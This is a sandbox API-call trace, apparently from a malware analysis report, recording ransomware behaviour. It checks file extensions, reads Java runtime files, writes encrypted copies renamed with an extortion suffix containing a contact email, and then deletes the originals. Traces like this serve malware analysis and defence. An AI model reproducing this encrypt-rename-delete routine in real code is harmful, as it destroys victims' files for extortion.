	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString=".zip") returned 4
	[0047.274] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".rar") returned 4
	[0047.274] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".bz2") returned 4
	[0047.274] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0047.274] lstrlenW (lpString=".7z") returned 3
	[0047.274] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString=".dbf") returned 4
	[0047.274] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString=".1cd") returned 4
	[0047.274] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString=".jpg") returned 4
	[0047.274] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.274] lstrlenW (lpString=".doc") returned 4
	[0047.274] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0047.274] lstrlenW (lpString=".docx") returned 5
	[0047.274] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0047.274] lstrlenW (lpString=".pdf") returned 4
	[0047.274] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".xls") returned 4
	[0047.274] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0047.274] lstrlenW (lpString=".xlsx") returned 5
	[0047.275] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0047.275] lstrlenW (lpString=".ppt") returned 4
	[0047.275] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0047.275] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.275] lstrlenW (lpString=".zip") returned 4
	[0047.275] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0047.275] lstrlenW (lpString=".rar") returned 4
	[0047.275] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0047.275] lstrlenW (lpString=".bz2") returned 4
	[0047.275] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0047.275] lstrlenW (lpString=".7z") returned 3
	[0047.275] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0047.275] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.275] lstrlenW (lpString=".dbf") returned 4
	[0047.275] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0047.275] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.275] lstrlenW (lpString=".1cd") returned 4
	[0047.275] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0047.275] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0047.275] lstrlenW (lpString=".jpg") returned 4
	[0047.275] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0047.275] lstrcmpiW (lpString1=".txt", lpString2=".yG") returned -1
	[0047.275] lstrlenW (lpString="Xusage.txt") returned 10
	[0047.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0047.275] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1423) returned 1
	[0047.275] CloseHandle (hObject=0x2f0) returned 1
	[0047.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20
	[0047.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0047.276] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.276] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0047.276] GetLastError () returned 0x0
	[0047.276] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x58f, lpOverlapped=0x0) returned 1
	[0047.395] WriteFile (in: hFile=0x380, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x590, lpOverlapped=0x0) returned 1
	[0047.396] ReadFile (in: hFile=0x2f0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.396] WriteFile (in: hFile=0x380, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0047.396] SetEndOfFile (hFile=0x380) returned 1
	[0047.397] CloseHandle (hObject=0x380) returned 1
	[0047.397] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.397] SetEndOfFile (hFile=0x2f0) returned 1
	[0047.398] CloseHandle (hObject=0x2f0) returned 1
	[0047.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.398] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString=".doc") returned 4
	[0047.399] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString=".docx") returned 5
	[0047.399] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0047.399] lstrlenW (lpString=".pdf") returned 4
	[0047.399] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString=".xls") returned 4
	[0047.399] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0047.399] lstrlenW (lpString=".xlsx") returned 5
	[0047.399] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0047.399] lstrlenW (lpString=".ppt") returned 4
	[0047.399] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString=".zip") returned 4
	[0047.399] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0047.399] lstrlenW (lpString=".rar") returned 4
	[0047.399] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString=".bz2") returned 4
	[0047.399] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString=".7z") returned 3
	[0047.399] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString=".dbf") returned 4
	[0047.399] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString=".1cd") returned 4
	[0047.399] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0047.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.399] lstrlenW (lpString=".jpg") returned 4
	[0047.399] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString=".doc") returned 4
	[0047.400] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString=".docx") returned 5
	[0047.400] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0047.400] lstrlenW (lpString=".pdf") returned 4
	[0047.400] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString=".xls") returned 4
	[0047.400] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0047.400] lstrlenW (lpString=".xlsx") returned 5
	[0047.400] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0047.400] lstrlenW (lpString=".ppt") returned 4
	[0047.400] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString=".zip") returned 4
	[0047.400] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0047.400] lstrlenW (lpString=".rar") returned 4
	[0047.400] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString=".bz2") returned 4
	[0047.400] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString=".7z") returned 3
	[0047.400] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString=".dbf") returned 4
	[0047.400] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString=".1cd") returned 4
	[0047.400] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0047.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0047.400] lstrlenW (lpString=".jpg") returned 4
	[0047.400] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0047.400] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.401] lstrlenW (lpString="splash_11-lic.gif") returned 17
	[0047.401] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.414] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=7805) returned 1
	[0047.414] CloseHandle (hObject=0x348) returned 1
	[0047.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20
	[0047.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.414] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.414] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.414] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.415] GetLastError () returned 0x0
	[0047.415] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1e7d, lpOverlapped=0x0) returned 1
	[0047.549] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0047.550] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.550] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0047.550] SetEndOfFile (hFile=0x350) returned 1
	[0047.550] CloseHandle (hObject=0x350) returned 1
	[0047.551] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.551] SetEndOfFile (hFile=0x348) returned 1
	[0047.551] CloseHandle (hObject=0x348) returned 1
	[0047.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.552] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.552] lstrlenW (lpString=".doc") returned 4
	[0047.552] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.552] lstrlenW (lpString=".docx") returned 5
	[0047.552] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0047.552] lstrlenW (lpString=".pdf") returned 4
	[0047.552] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.552] lstrlenW (lpString=".xls") returned 4
	[0047.552] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.552] lstrlenW (lpString=".xlsx") returned 5
	[0047.552] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0047.552] lstrlenW (lpString=".ppt") returned 4
	[0047.552] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.552] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.552] lstrlenW (lpString=".zip") returned 4
	[0047.552] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.552] lstrlenW (lpString=".rar") returned 4
	[0047.552] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.552] lstrlenW (lpString=".bz2") returned 4
	[0047.552] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.552] lstrlenW (lpString=".7z") returned 3
	[0047.553] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".dbf") returned 4
	[0047.553] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".1cd") returned 4
	[0047.553] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".jpg") returned 4
	[0047.553] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".doc") returned 4
	[0047.553] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.553] lstrlenW (lpString=".docx") returned 5
	[0047.553] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1
	[0047.553] lstrlenW (lpString=".pdf") returned 4
	[0047.553] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString=".xls") returned 4
	[0047.553] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString=".xlsx") returned 5
	[0047.553] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1
	[0047.553] lstrlenW (lpString=".ppt") returned 4
	[0047.553] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".zip") returned 4
	[0047.553] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString=".rar") returned 4
	[0047.553] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.553] lstrlenW (lpString=".bz2") returned 4
	[0047.553] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.553] lstrlenW (lpString=".7z") returned 3
	[0047.553] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.553] lstrlenW (lpString=".dbf") returned 4
	[0047.553] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.553] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.554] lstrlenW (lpString=".1cd") returned 4
	[0047.554] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0047.554] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63
	[0047.554] lstrlenW (lpString=".jpg") returned 4
	[0047.554] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0047.554] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.554] lstrlenW (lpString="invalid32x32.gif") returned 16
	[0047.554] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.555] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=153) returned 1
	[0047.555] CloseHandle (hObject=0x348) returned 1
	[0047.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20
	[0047.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0047.555] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.555] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.555] GetLastError () returned 0x0
	[0047.555] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x99, lpOverlapped=0x0) returned 1
	[0047.556] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0047.557] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.557] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0047.557] SetEndOfFile (hFile=0x350) returned 1
	[0047.557] CloseHandle (hObject=0x350) returned 1
	[0047.558] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.558] SetEndOfFile (hFile=0x348) returned 1
	[0047.559] CloseHandle (hObject=0x348) returned 1
	[0047.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.559] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1
	[0047.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.559] lstrlenW (lpString=".doc") returned 4
	[0047.559] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0047.559] lstrlenW (lpString=".docx") returned 5
	[0047.559] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0047.559] lstrlenW (lpString=".pdf") returned 4
	[0047.559] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0047.559] lstrlenW (lpString=".xls") returned 4
	[0047.559] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0047.559] lstrlenW (lpString=".xlsx") returned 5
	[0047.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0047.559] lstrlenW (lpString=".ppt") returned 4
	[0047.559] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0047.559] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.559] lstrlenW (lpString=".zip") returned 4
	[0047.560] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".rar") returned 4
	[0047.560] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0047.560] lstrlenW (lpString=".bz2") returned 4
	[0047.560] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0047.560] lstrlenW (lpString=".7z") returned 3
	[0047.560] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString=".dbf") returned 4
	[0047.560] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0047.560] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0047.560] lstrlenW (lpString=".1cd") returned 4
